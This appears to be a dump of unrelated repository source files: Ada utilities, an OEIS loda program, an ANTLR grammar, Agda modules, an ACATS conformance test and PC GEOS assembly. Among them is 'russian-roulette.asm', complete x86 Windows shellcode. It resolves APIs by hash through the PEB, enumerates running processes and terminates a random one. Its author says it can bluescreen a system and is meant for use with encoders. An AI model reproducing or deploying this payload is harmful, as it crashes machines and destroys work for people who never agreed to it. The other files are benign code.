vpop {q5}
bx lr
ENDP
END
|
source/encodings-utility.adb | Vovanium/Encodings | 0 | 17822 | with Ada.Unchecked_Conversion;
with Ada.Streams;
use Ada.Streams;
use type Ada.Streams.Stream_Element_Offset;
package body Encodings.Utility is
--generic
-- type Element_Type is private;
-- type Index_Type is (<>);
-- type Array_Type is array(Index_Type range <>) of Element_Type;
procedure Read_Array(
Stream: in out Root_Stream_Type'Class;
Item: out Array_Type;
Last: out Index_Type'Base
) is
Element_Length: constant Stream_Element_Offset := Element_Type'Stream_Size / Stream_Element'Size;
Buffer_Length: constant Stream_Element_Offset := Item'Length * Element_Length;
Buffer: Stream_Element_Array(1 .. Buffer_Length);
Buffer_I, Buffer_Last: Stream_Element_Offset;
Element_Count: Natural;
function Conversion is new Ada.Unchecked_Conversion(
Source => Stream_Element_Array,
Target => Element_Type
);
begin
Stream.Read(Buffer, Buffer_Last);
Element_Count := Natural(Buffer_Last / Element_Length);
Last := Item'First; -- + (Element_Count - 1);
Buffer_I := 1;
for I in 1..Element_Count loop
Item(Last) := Conversion(Buffer(Buffer_I .. Buffer_I + Element_Length - 1));
Last := Index_Type'Succ(Last);
Buffer_I := Buffer_I + Element_Length;
end loop;
Last := Index_Type'Pred(Last);
end;
-- Strange, GNAT cannot use generic instance for package subprogram
procedure Read_String(Stream: in out Root_Stream_Type'Class; Item: out String; Last: out Positive'Base) is
procedure Inst is new Read_Array(Element_Type => Character, Index_Type => Positive, Array_Type => String);
begin
Inst(Stream, Item, Last);
end;
end Encodings.Utility;
|
programs/oeis/134/A134862.asm | jmorken/loda | 1 | 240568 | ; A134862: Wythoff ABB numbers.
; 8,21,29,42,55,63,76,84,97,110,118,131,144,152,165,173,186,199,207,220,228,241,254,262,275,288,296,309,317,330,343,351,364,377,385,398,406,419,432,440,453,461,474,487,495,508,521,529,542,550,563,576,584,597
mov $3,$0
mov $4,$0
add $4,1
lpb $4
mov $0,$3
sub $4,1
sub $0,$4
mov $7,$0
mov $9,2
lpb $9
sub $9,1
add $0,$9
sub $0,1
mov $2,$0
mov $6,$0
lpb $2
add $6,1
lpb $6
mov $6,$2
add $2,2
pow $6,2
lpe
sub $2,1
add $6,$0
lpe
mov $5,$2
mov $10,$9
lpb $10
mov $8,$5
sub $10,1
lpe
lpe
lpb $7
mov $7,0
sub $8,$5
lpe
mov $5,$8
mul $5,5
add $5,8
add $1,$5
lpe
|
source/image/required/s-vallld.ads | ytomino/drake | 33 | 23869 | <reponame>ytomino/drake
pragma License (Unrestricted);
-- implementation unit required by compiler
package System.Val_LLD is
pragma Pure;
-- required for Fixed'Value by compiler (s-valdec.ads)
function Value_Long_Long_Decimal (Str : String; Scale : Integer)
return Long_Long_Integer;
end System.Val_LLD;
|
src/examples/Rejuvenation_Workshop/src/newlineexamples.adb | selroc/Renaissance-Ada | 1 | 26294 | with Ada.Text_IO; use Ada.Text_IO;
package body NewLineExamples is
function Text_New_Lines (Text : String) return String
is
begin
return Text & ASCII.CR & ASCII.LF & ASCII.CR & ASCII.LF;
end Text_New_Lines;
function Twice_Text_New_Line (Text : String) return String
is
begin
return Text & ASCII.CR & ASCII.LF & Text & ASCII.CR & ASCII.LF;
end Twice_Text_New_Line;
Nl : constant String := (1 => ASCII.CR, 2 => ASCII.LF);
function Text_Duplicate (Text : String) return String
is
begin
return Text & Nl & Text & Nl;
end Text_Duplicate;
function Text_Dupl (Text : String) return String
is
begin
declare
EndOfLine : constant String := ASCII.CR & ASCII.LF;
begin
return Text & EndOfLine & Text & EndOfLine;
end;
end Text_Dupl;
function Text_Twice (Text : String) return String
is
CrLf : constant String := ASCII.CR & ASCII.LF;
begin
return Text & CrLf & Text & CrLf;
end Text_Twice;
function Text_Thrice (Text : String) return String
is
NewLine : constant String := (ASCII.CR & ASCII.LF);
begin
return Text & NewLine & Text & NewLine & Text & NewLine;
end Text_Thrice;
function Twice_Text (Text : String) return String
is
New_Line : constant String := "" & ASCII.CR & ASCII.LF;
begin
return New_Line & Text & New_Line & Text;
end Twice_Text;
end NewLineExamples;
|
lib/sisyphus-grpc/src/main/antlr/com/bybutter/sisyphus/api/ordering/grammar/Order.g4 | z2058550226/sisyphus | 0 | 5401 | grammar Order;
@header {
package com.bybutter.sisyphus.api.ordering.grammar;
}
// Grammar Rules
// =============
start
: expr? EOF
;
expr
: order ( ',' order )*
;
order
: field ('desc' | 'asc')?
;
field
: IDENTIFIER ( '.' IDENTIFIER )*
;
// Lexer Rules
// ===========
DOT : '.';
COMMA : ',';
DESC : 'desc';
ASC : 'asc';
fragment LETTER : 'A'..'Z' | 'a'..'z' ;
fragment DIGIT : '0'..'9' ;
WHITESPACE : ( '\t' | ' ' | '\r' | '\n'| '\u000C' )+ -> channel(HIDDEN) ;
COMMENT : '//' (~'\n')* -> channel(HIDDEN) ;
IDENTIFIER : (LETTER | '_') ( LETTER | DIGIT | '_')*; |
Data/Fin/Base.agda | oisdk/agda-playground | 6 | 1297 | <gh_stars>1-10
{-# OPTIONS --without-K --safe #-}
module Data.Fin.Base where
open import Data.Maybe.Base
open import Data.Nat.Base using (ℕ; suc; zero)
open import Level
open import Data.Empty
Fin : ℕ → Type
Fin zero = ⊥
Fin (suc n) = Maybe (Fin n)
pattern f0 = nothing
pattern fs n = just n
|
libsrc/_DEVELOPMENT/adt/w_array/c/sccz80/w_array_at_callee.asm | meesokim/z88dk | 0 | 11837 | <reponame>meesokim/z88dk<filename>libsrc/_DEVELOPMENT/adt/w_array/c/sccz80/w_array_at_callee.asm
; void *w_array_at(w_array_t *a, size_t idx)
SECTION code_adt_w_array
PUBLIC w_array_at_callee
w_array_at_callee:
pop hl
pop bc
ex (sp),hl
INCLUDE "adt/w_array/z80/asm_w_array_at.asm"
|
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/cd/cd2a32j.ada | best08618/asylo | 7 | 4987 | <gh_stars>1-10
-- CD2A32J.ADA
-- Grant of Unlimited Rights
--
-- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687,
-- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained
-- unlimited rights in the software and documentation contained herein.
-- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making
-- this public release, the Government intends to confer upon all
-- recipients unlimited rights equal to those held by the Government.
-- These rights include rights to use, duplicate, release or disclose the
-- released technical data and computer software in whole or in part, in
-- any manner and for any purpose whatsoever, and to have or permit others
-- to do so.
--
-- DISCLAIMER
--
-- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR
-- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED
-- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE
-- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE
-- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A
-- PARTICULAR PURPOSE OF SAID MATERIAL.
--*
-- OBJECTIVE:
-- CHECK THAT WHEN A SIZE SPECIFICATION OF THE SMALLEST APPROPRIATE
-- UNSIGNED SIZE IS GIVEN FOR AN INTEGER TYPE, THE TYPE CAN BE
-- PASSED AS AN ACTUAL PARAMETER TO GENERIC PROCEDURES.
-- HISTORY:
-- JET 08/12/87 CREATED ORIGINAL TEST.
-- DHH 04/11/89 CHANGED EXTENSION FROM '.DEP' TO '.ADA', CHANGED
-- SIZE CLAUSE VALUE TO 7, AND CHANGED OPERATOR ON
-- 'SIZE CHECKS.
-- JRL 03/27/92 ELIMINATED REDUNDANT TESTING.
WITH REPORT; USE REPORT;
PROCEDURE CD2A32J IS
TYPE BASIC_INT IS RANGE 0 .. 126;
BASIC_SIZE : CONSTANT := 7;
FOR BASIC_INT'SIZE USE BASIC_SIZE;
BEGIN
TEST ("CD2A32J", "CHECK THAT WHEN A SIZE SPECIFICATION " &
"OF THE SMALLEST APPROPRIATE UNSIGNED SIZE " &
"IS GIVEN FOR AN INTEGER TYPE, THE TYPE " &
"CAN BE PASSED AS AN ACTUAL PARAMETER TO " &
"GENERIC PROCEDURES");
DECLARE -- TYPE DECLARATION WITHIN GENERIC PROCEDURE.
GENERIC
TYPE GPARM IS RANGE <>;
PROCEDURE GENPROC;
PROCEDURE GENPROC IS
SUBTYPE INT IS GPARM;
I0 : INT := 0;
I1 : INT := 63;
I2 : INT := 126;
FUNCTION IDENT (I : INT) RETURN INT IS
BEGIN
IF EQUAL (0,0) THEN
RETURN I;
ELSE
RETURN 0;
END IF;
END IDENT;
BEGIN -- GENPROC.
IF INT'SIZE /= IDENT_INT (BASIC_SIZE) THEN
FAILED ("INCORRECT VALUE FOR INT'SIZE");
END IF;
IF I0'SIZE < IDENT_INT (BASIC_SIZE) THEN
FAILED ("INCORRECT VALUE FOR I0'SIZE");
END IF;
IF NOT ((I0 < IDENT (1)) AND
(IDENT (I2) > IDENT (I1)) AND
(I1 <= IDENT (63)) AND
(IDENT (126) = I2)) THEN
FAILED ("INCORRECT RESULTS FOR RELATIONAL " &
"OPERATORS");
END IF;
IF NOT (((I0 + I2) = I2) AND
((I2 - I1) = I1) AND
((I1 * IDENT (2)) = I2) AND
((I2 / I1) = IDENT (2)) AND
((I1 ** 1) = IDENT (63)) AND
((I2 REM 10) = IDENT (6)) AND
((I1 MOD 10) = IDENT (3))) THEN
FAILED ("INCORRECT RESULTS FOR BINARY ARITHMETIC " &
"OPERATORS");
END IF;
IF INT'POS (I0) /= IDENT_INT (0) OR
INT'POS (I1) /= IDENT_INT (63) OR
INT'POS (I2) /= IDENT_INT (126) THEN
FAILED ("INCORRECT VALUE FOR INT'POS");
END IF;
IF INT'SUCC (I0) /= IDENT (1) OR
INT'SUCC (I1) /= IDENT (64) THEN
FAILED ("INCORRECT VALUE FOR INT'SUCC");
END IF;
IF INT'IMAGE (I0) /= IDENT_STR (" 0") OR
INT'IMAGE (I1) /= IDENT_STR (" 63") OR
INT'IMAGE (I2) /= IDENT_STR (" 126") THEN
FAILED ("INCORRECT VALUE FOR INT'IMAGE");
END IF;
END GENPROC;
PROCEDURE NEWPROC IS NEW GENPROC (BASIC_INT);
BEGIN
NEWPROC;
END;
RESULT;
END CD2A32J;
|
src/L/Base/Sigma/Core.agda | borszag/smallib | 0 | 7300 | module L.Base.Sigma.Core where
-- Import the Σ record with constructors fst, snd
open import Agda.Builtin.Sigma public
split : ∀{a b c} {A : Set a} {B : A → Set b} (C : Σ A B → Set c)
→ ((x : A)(y : B x) → C (x , y)) → (p : Σ A B) → C p
split C g (a , b) = g a b
|
src/fltk-devices.ads | micahwelf/FLTK-Ada | 1 | 19147 | <reponame>micahwelf/FLTK-Ada<gh_stars>1-10
package FLTK.Devices is
type Device is new Wrapper with private;
private
type Device is new Wrapper with null record;
end FLTK.Devices;
|
DATABASE/RAND0M/russian-roulette.asm | EgeBalci/Shellcode | 2 | 245337 | ;
; N
; A
; I E _
; S T _-' "'-,
; S T _-' | d$$b |
; S E _-' | $$$$ |
; U L _-' | Y$$P |
; R U _-'| | |
; O _-' _* | |
; R _-' |_-" __--''\ /
; _-' __--' __*--'
; -' __-'' __--*__-"`
; | _--'' __--*"__-'`
; |_--" .--=`"__-||"
; | | |\\ ||
; | .dUU | | \\ //
; | UUUU | _|___//
; | UUUU | |
; | UUUU | | [Matzec]
; | UUUU | |
; | UUUU | |
; | UUUU | |
; | UUP' | |
; | ___^-"`
; ""'
;
; This shellcode is admittedly kinda boring. But it can produce pretty funny
; results nonetheless.
;
; Enumerate all running processes on the system and kill a random process. You
; might kill yourself. Or you might kill ntoskrnl.exe! Who knows!
;
; This has the potential to bluescreen a system. So, be careful. :)
;
; 463 bytes, null bytes all over the place. Intended for use with encoders.
;
; frank2 <frank2 [D] dc949 [K] org>
global main
_main:
jmp dataOffset
getFuncByHash:
mov esi,[esp+8]
mov edi,[esi+0x3C] ; dos->e_lfanew
add edi,esi
mov ecx,[edi+0x78] ; export data
add ecx,esi
mov ebx,[ecx+0x20] ; AddressOfNames
add ebx,esi
xor eax,eax
push ecx
searchForFunc:
mov edx,[ebx+eax*4]
add edx,esi
mov edi,0x554E4441
hashString:
movzx ecx,byte [edx]
test ecx,ecx
jz short finishHash
rolRolFightDaPowa:
xor edi,ecx
rol edi,cl
shr ecx,1
jnz short rolRolFightDaPowa
inc edx
jmp short hashString
finishHash:
or edi,0x10101010
cmp edi,[esp+8]
jz short foundHash
inc eax
jmp short searchForFunc
foundHash:
pop ebx
mov edi,[ebx+0x1c]
add edi,esi
mov ebx,[ebx+0x24]
add ebx,esi
movzx ebx,word [ebx+eax*2]
mov ebx,[edi+ebx*4]
add ebx,esi
pop eax ; fix the stack
pop edx ; no idea why I did it this way
pop edx ; but I had some reason...
push eax ; it had to do with null bytes
ret
beginCode:
pop ebp
xor ecx,ecx
mov esi,[fs:ecx+0x30] ; PEB
mov esi,[esi+0xC] ; Ldr
mov esi,[esi+0xC] ; linked list of loaded modules
mov esi,[esi] ; loader info for ntdll.dll
push dword [esi+0x18] ; ntdll.dll image data
mov esi,[esi] ; loader info for kernel32.dll
push dword [esi+0x18] ; kernel32.dll image data
push dword [esp] ; " "
push dword [ebp] ; ExitThread hash
call getFuncByHash
cmp dword [ebx],0x4C44544E ; if this is the real ExitThread, it
; won't start with NTDL
jnz hasExitThread ; we have ExitThread, resume
push dword [esp+4] ; ntdll.dll image data
push dword [ebp+4] ; RtlExitUserThread hash
call getFuncByHash
hasExitThread:
mov [ebp],ebx ; store the exit func here
push dword [esp] ; kernel32.dll image data
push dword [ebp+8] ; LoadLibraryA hash
call getFuncByHash
mov [ebp+8],ebx ; store LoadLibraryA function
push dword [esp] ; kernel32.dll image data
push dword [ebp+0xC] ; OpenProcess hash
call getFuncByHash
mov [ebp+0xC],ebx ; store OpenProcess function
push dword [esp] ; kernel32.dll image data
push dword [ebp+0x10] ; TerminateProcess hash
call getFuncByHash
mov [ebp+0x10],ebx ; store TerminateProcess function
pop ebx ; get kernel32 off the stack
lea eax,[ebp+0x30] ; msvcrt.dll
push eax
call [ebp+8] ; load msvcrt.dll
push eax ; push the library onto the stack
push dword [esp] ; msvcrt.dll image data
push dword [ebp+0x14] ; malloc hash
call getFuncByHash
mov [ebp+0x14],ebx ; store malloc function
push dword [esp] ; msvcrt.dll image data
push dword [ebp+0x18] ; FREE HASH
call getFuncByHash
mov [ebp+0x18],ebx ; PUT HASH BACK
push dword [esp] ; msvcrt.dll image data
push dword [ebp+0x1C] ; srand hash
call getFuncByHash
mov [ebp+0x1C],ebx ; store srand function
push dword [esp] ; msvcrt.dll image data
push dword [ebp+0x20] ; rand hash
call getFuncByHash
mov [ebp+0x20],ebx ; store rand function
push dword [esp] ; msvcrt.dll image data
push dword [ebp+0x24] ; time hash
call getFuncByHash
mov [ebp+0x24],ebx ; store time function
pop ebx ; take msvcrt.dll off the stack
lea eax,[ebp+0x3B] ; psapi.dll
push eax
call [ebp+8] ; load psapi.dll
push eax ; psapi.dll image data
push dword [ebp+0x28] ; EnumProcesses hash
call getFuncByHash
mov [ebp+0x28],ebx ; store EnumProcesses function
push 0x1000
call [ebp+0x14] ; allocate data for pProcessIds
push eax ; push the buffer onto the stack
lea eax,[ebp+0x2C] ; address for pBytesReturned
push eax ; pBytesReturned
push 0x1000 ; cb
push dword [esp+8] ; pProcessIds
call [ebp+0x28] ; EnumProcesses(buf, 0x1000, &returned)
test eax,eax
jz bailOut ; EnumProcesses failed, bail.
shr dword [ebp+0x2C],2 ; number of process IDs
xor ebx,ebx
push ebx
call [ebp+0x24] ; get current time, which, rudely,
push eax ; is __cdecl
call [ebp+0x1C] ; use the time to seed the prng which,
add esp,8 ; also rudely, is __cdecl
rouletteRoutine:
call [ebp+0x20] ; rand()
xor edx,edx
idiv dword [ebp+0x2C] ; rand() % number of processes
mov esi,[esp] ; get the process id buffer
lea esi,[esi+edx*4] ; load the address of the target proc id
push dword [esi] ; dwProcessId
push ebx ; bInheritHandle (FALSE)
push 0x411 ; query information, read, terminate
call [ebp+0xC] ; open the process
test eax,eax
jz rouletteRoutine ; open process failed, try again
push ebx ; uExitCode
push eax ; hProcess
call [ebp+0x10] ; kill the process
test eax,eax
jz rouletteRoutine ; termination failed, try another one.
bailOut:
push dword [esp]
call [ebp+0x18] ; free the malloc'd buffer
xor eax,eax
push eax
call [ebp] ; exit the thread
dataOffset:
call beginCode
dd 0x58159F36 ; ExitThread
dd 0x795D941E ; RtlExitUserThread
dd 0xF816FF93 ; LoadLibraryA
dd 0xD4BF9875 ; OpenProcess
dd 0x78F07775 ; TerminateProcess
dd 0xFDFE9E13 ; malloc
dd 0xBC5271BA ; free
dd 0x73F6D750 ; srand
dd 0xDCF432F0 ; rand
dd 0x7CD4B1FE ; time
dd 0xB4599692 ; EnumProcesses
dd 0x554E4441 ; place to store number of processes
db "msvcrt.dll",0
db "psapi.dll",0
|
oeis/075/A075748.asm | neoneye/loda-programs | 11 | 162030 | ; A075748: Numbers n such that 210*n-17 is prime.
; Submitted by <NAME>(w1)
; 1,3,4,5,7,8,9,10,11,12,13,16,22,23,24,25,26,27,29,32,35,37,38,42,43,45,46,49,52,53,56,57,58,59,60,62,65,70,73,75,78,79,81,82,84,86,87,96,97,98,99,100,101,103,107,111,115,118,120,122,128,129,130,134,137,139,140,142,143,144,146,147,148,154,155,163,166,167,173,174,176,178,179,180,181,185,186,190,191,195,196,200,201,202,211,216,217,218,220,227
mov $1,30
mov $2,$0
add $2,2
pow $2,2
lpb $2
sub $2,2
mov $3,$1
mul $3,3
add $3,6
mul $3,2
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,35
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
mov $0,$1
sub $0,65
div $0,35
add $0,1
|
research/deficon/def_tool-icon_36_279.asm | nicodex/HelloAmi | 16 | 5640 | ; vasmm68k_mot[_<HOST>] -Fbin -o icon_36_279/def_tool.info def_tool-icon_36_279.asm
;
; Default "ENV:def_tool.info" data included in "icon 36.279 (20.4.90)".
;
include deficon.inc
ifne DEFICON_MEM
align 1
endif
defIconTool:
dc.w $E310 ; do_Magic = WB_DISKMAGIC
dc.w $0001 ; do_Version = WB_DISKVERSION
dc.l 0 ; do_Gadget+gg_NextGadget
dc.w 36,53 ; do_Gadget+gg_LeftEdge/gg_TopEdge
dc.w 54,23 ; do_Gadget+gg_Width/gg_Height
dc.w $0004 ; do_Gadget+gg_Flags =
; GFLG_GADGIMAGE
dc.w $0001 ; do_Gadget+gg_Activation =
; GACT_RELVERIFY
dc.w $0001 ; do_Gadget+gg_GadgetType =
; GTYP_BOOLGADGET
DEFICON_PTR .GadgetRender ; do_Gadget+gg_GadgetRender
dc.l 0 ; do_Gadget+gg_SelectRender
dc.l 0 ; do_Gadget+gg_GadgetText
dc.l 0 ; do_Gadget+gg_MutualExclude
dc.l 0 ; do_Gadget+gg_SpecialInfo
dc.w 0 ; do_Gadget+gg_GadgetID
dc.l 0 ; do_Gadget+gg_UserData
dc.b 3 ; do_Type = WBTOOL
dc.b 0 ; do_PAD_BYTE
dc.l 0 ; do_DefaultTool
dc.l 0 ; do_ToolTypes
dc.l $80000000 ; do_CurrentX = NO_ICON_POSITION
dc.l $80000000 ; do_CurrentY = NO_ICON_POSITION
dc.l 0 ; do_DrawerData
dc.l 0 ; do_ToolWindow
dc.l 0 ; do_StackSize
.GadgetRender:
dc.w 0,0 ; ig_LeftEdge/ig_TopEdge
dc.w 54,23 ; ig_Width/ig_Height
dc.w 2 ; ig_Depth
DEFICON_PTR .GadgetImage ; ig_ImageData
dc.b (1<<2)-1,0 ; ig_PlanePick/ig_PlaneOnOff
dc.l 0 ; ig_NextImage
.GadgetImage:
dc.w %0000000000000000,%0000000000000000,%0000000000000100,%0000000000000000
dc.w %0000000000000000,%0000000000000000,%0000000000000001,%0000000000000000
dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0100000000000000
dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0001000000000000
dc.w %0000000011111111,%1111100000000000,%0000000000000000,%0000100000000000
dc.w %0000000100000000,%0000010000000000,%0000000000000000,%0000110000000000
dc.w %0000001000000000,%0000001111111111,%1111111111111111,%1000110000000000
dc.w %0000010000000000,%0000000000000000,%0000000000000000,%0100110000000000
dc.w %0000010000000000,%0000000000000000,%0000000000000000,%0100110000000000
dc.w %0000010111111111,%1111111111111111,%1111111111111111,%0100110000000000
dc.w %0000011000000000,%0000000000000000,%0000000000000000,%1100110000000000
dc.w %0000010000000000,%0000000000000000,%0000000000000000,%0100110000000000
dc.w %0000010000000000,%0000000000000000,%0000000000000000,%0100110000000000
dc.w %0000010000000000,%0000000000000000,%0000000000000000,%0100110000000000
dc.w %0000010000000000,%0000000000000000,%0000000000000000,%0100110000000000
dc.w %0000010000000000,%0000000000000000,%0000000000000000,%0100110000000000
dc.w %0000010000000000,%0000000000000000,%0000000000000000,%0100110000000000
dc.w %0000010000000000,%0000000000000000,%0000000000000000,%0100110000000000
dc.w %0000010000000000,%0000000000000000,%0000000000000000,%0100110000000000
dc.w %0000010000000000,%0000000000000000,%0000000000000000,%0100110000000000
dc.w %0000010000000000,%0000000000000000,%0000000000000000,%0100110000000000
dc.w %0111111111111111,%1111111111111111,%1111111111111111,%1111110000000000
dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000
dc.w %1111111111111111,%1111111111111111,%1111111111111000,%0000000000000000
dc.w %1101010101010101,%0101010101010101,%0101010101010110,%0000000000000000
dc.w %1101010101010101,%0101010101010101,%0101010101010101,%1000000000000000
dc.w %1101010101010101,%0101010101010101,%0101010101010101,%0110000000000000
dc.w %1101010100000000,%0000010101010101,%0101010101010101,%0101000000000000
dc.w %1101010000000000,%0000000101010101,%0101010101010101,%0101000000000000
dc.w %1101010000000000,%0000000000000000,%0000000000000000,%0101000000000000
dc.w %1101000000000000,%0000000000000000,%0000000000000000,%0001000000000000
dc.w %1101000011111111,%1111111111111111,%1111111111111100,%0001000000000000
dc.w %1101000000000000,%0000000000000000,%0000000000000000,%0001000000000000
dc.w %1101000000000000,%0000000000000000,%0000000000000000,%0001000000000000
dc.w %1101000000000000,%0000000000000000,%0000000000000000,%0001000000000000
dc.w %1101000000000000,%0000000000000000,%0000000000000000,%0001000000000000
dc.w %1101000000000000,%0000000000000000,%0000000000000000,%0001000000000000
dc.w %1101000000000000,%0000000000000000,%0000000000000000,%0001000000000000
dc.w %1101000000000000,%0000000000000000,%0000000000000000,%0001000000000000
dc.w %1101000000000000,%0000000000000000,%0000000000000000,%0001000000000000
dc.w %1101000000000000,%0000000000000000,%0000000000000000,%0001000000000000
dc.w %1101000000000000,%0000000000000000,%0000000000000000,%0001000000000000
dc.w %1101000000000000,%0000000000000000,%0000000000000000,%0001000000000000
dc.w %1101000000000000,%0000000000000000,%0000000000000000,%0001000000000000
dc.w %1000000000000000,%0000000000000000,%0000000000000000,%0000000000000000
dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000
|
assembly_code.asm | bardia73/CharacterExists | 0 | 16108 | global exists
exists:
push ebp ; create stack frame
mov ebp, esp
mov eax, [ebp+8] ; grab the first argument
mov ecx, [ebp+12] ; grab the second argument
;mov edx,0
;mov edx, [eax]
;mov eax, edx
;pop ebp
;ret
LOOP:
mov edx, [eax] ; sum the arguments
and edx, 0x00FF
cmp edx, 0
je RETURN_FALSE
cmp edx, ecx
je RETURN_TRUE
add eax, 1
jmp LOOP
RETURN_TRUE:
mov eax, 0x0001
pop ebp ; restore the base pointer
ret
RETURN_FALSE:
mov eax, 0x0000
pop ebp ; restore the base pointer
ret
|
Library/User/Vis/visUtilsResident.asm | steakknife/pcgeos | 504 | 9880 | <reponame>steakknife/pcgeos
COMMENT @----------------------------------------------------------------------
Copyright (c) GeoWorks 1994 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: UserInterface/Vis
FILE: visUtilsResident.asm
ROUTINES:
Name Description
---- -----------
In Fixed resources:
-------------------
EXT VisIfFlagSetCallVisChildren Carefully call vis children
EXT VisIfFlagSetCallGenChildren Carefully call gen children
EXT VisCallParent Send message to visible parent of an object
EXT VisSendToChildren Send message to all children of vis composite
EXT VisCallFirstChild Send message to first child of vis composite
EXT VisCallNextSibling Send message to next sibling of vis object
EXT VisCallChildUnderPoint Send message to first child found under point
EXT VisCheckIfVisGrown Check to see if vis master part grown
EXT VisCheckIfSpecBuilt See if object has been specifically built (in tree)
EXT VisDrawMoniker Draw visible moniker
EXT VisForceGrabKbd Force new OD to have kbd grabbed
EXT VisGetSize Returns size of a visible object
EXT VisGetCenter
EXT VisGetBounds Returns bounds of a visible object
EXT VisGetMonikerPos
EXT VisGetMonikerSize
EXT VisGetParentGeometry Get geometry flags of visible parent
EXT VisForceGrabKbd Force grab kbd
EXT VisGrabKbd Grab kbd if no one else has it
EXT VisReleaseKbd Release kbd
EXT VisForceGrabMouse Force grab mouse
EXT VisGrabMouse Grab mouse if no one else has it
EXT VisReleaseMouse Release mouse
EXT VisForceGrabLargeMouse Force grab mouse, request large events
EXT VisGrabLargeMouse Grab mouse, request large events
EXT VisFindParent
EXT VisMarkInvalid Mark a visible object invalid in some way
EXT VisMarkInvalidOnParent
EXT VisMarkFullyInvalid Invalidate this obj, parent geometry
EXT VisSetPosition
EXT VisQueryWindow Get window handle visible object is seen in
EXT VisQueryParentWin Get window handle this object is on
EXT VisReleaseKbd
EXT VisReleaseMouse
EXT VisSetSize
EXT VisRecalcSizeAndInvalIfNeeded
EXT VisSendPositionAndInvalIfNeeded
EXT VisSwapLockParent Set bx = ds:[0], then *ds:si = vis parent
EXT VisTakeGadgetExclAndGrab
EXT VisTestPointInBounds
EC EXT VisCheckOptFlags Routine to check vis opt flags up to win group
EC EXT CheckVisMoniker Make sure VisMoniker is not a VisMonikerList
EC EXT VisCheckVisAssumption Make sure visibly grown
EC EXT ECCheckVisCoords Make sure (cx, dx) is a valid coordinate
In Movable resources:
---------------------
EXT VisAddButtonPostPassive
EXT VisAddButtonPrePassive
EXT VisAddChildRelativeToGen
EXT VisConvertSpecVisSize Converts a SpecSizeSpec value to pixels
EXT VisConvertCoordsToRatio Converts a coordinate pair to SpecWinSizePair
EXT VisConvertRatioToCoords Converts a SpecWinSizePair to a coordinate pair
EXT VisFindMoniker Find (and copy) the specified visual moniker
EXT VisGetVisParent Get visual parent to build this object on
EXT VisGetSpecificVisObject Get vis version of this generic object
EXT VisInsertChild Insert a child into the visible tree
EXT VisReleaseButtonPostPassive
EXT VisReleaseButtonPrePassive
EXT VisTestMoniker
EXT VisUpdateSearchSpec
EXT VisRemove
EXT VisSetNotRealized
EXT VisNavigateCommon
REVISION HISTORY:
Name Date Description
---- ---- -----------
dlitwin 10/10/94 Broken out of visUtils.asm
DESCRIPTION:
Utility routines for Vis* objects. (Meaning these routines should
only be called from within message handlers of an object which
is or is subclassed from VisClass)
$Id: visUtilsResident.asm,v 1.1 97/04/07 11:44:37 newdeal Exp $
------------------------------------------------------------------------------@
Resident segment resource
COMMENT @----------------------------------------------------------------------
FUNCTION: VisCheckIfVisGrown
DESCRIPTION: Tests to see if an object's visible master part has been
grown yet.
CALLED BY: EXTERNAL
PASS:
*ds:si - instance data
RETURN:
carry - set if visually grown
DESTROYED:
Nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 6/89 Initial version
------------------------------------------------------------------------------@
VisCheckIfVisGrown proc far
class VisClass ; Indicate function is a friend
; of VisClass so it can play with
; instance data.
push di
mov di, ds:[si]
; Has visible part been grown yet?
tst ds:[di].Vis_offset ; clears carry
jz notGrown
stc
notGrown:
pop di
ret
VisCheckIfVisGrown endp
COMMENT @----------------------------------------------------------------------
FUNCTION: VisCheckIfSpecBuilt
DESCRIPTION: Tests to see if an object containing a visible master
part has been visually built, checking the object's VI_link.
CALLED BY: EXTERNAL
PASS:
*ds:si - instance data
RETURN:
carry - set if visually built
DESTROYED:
Nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 6/89 Initial version
------------------------------------------------------------------------------@
VisCheckIfSpecBuilt proc far
class VisClass
push ax
push di
mov di, ds:[si]
; Has visible part been grown yet?
mov ax, ds:[di].Vis_offset
tst ax ; clears carry
je done ; if not, then can't be visually built yet.
add di, ax ; point at vis part
; See if part of visible composite
tst ds:[di].VI_link.LP_next.handle
clc
je done ; if not, then not specifically built.
stc ; else is visually built
done:
pop di
pop ax
ret
VisCheckIfSpecBuilt endp
COMMENT @----------------------------------------------------------------------
FUNCTION: VisCallChildrenInBounds
DESCRIPTION: Call all children in a composite whose Visual bounds overlap
the passed bounds.
CALLED BY: EXTERNAL
PASS:
*ds:si - instance data
ax - message to pass
cx, dx - data to pass to objects
ss:bp - VisCallChildrenInBoundsFrame
RETURN:
NOTE: Unlike VisCallChildUnderPoint, VisCallChildrenInBounds calls
multiple children, so it does not return AX=0 to show that there
where no children in the bounds.
bp - ptr to VisCallChildrenInBoundsFrame
ds - updated segment
DESTROYED:
ax, bx, cx, dx, di
WARNING: This routine MAY resize LMem and/or object blocks, moving
them on the heap and invalidating stored segment pointers
to them.
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 12/91 Initial version
------------------------------------------------------------------------------@
VisCallChildrenInBounds proc far
class VisCompClass ; Indicate function is a friend
; of VisCompClass so it can play with
; instance data.
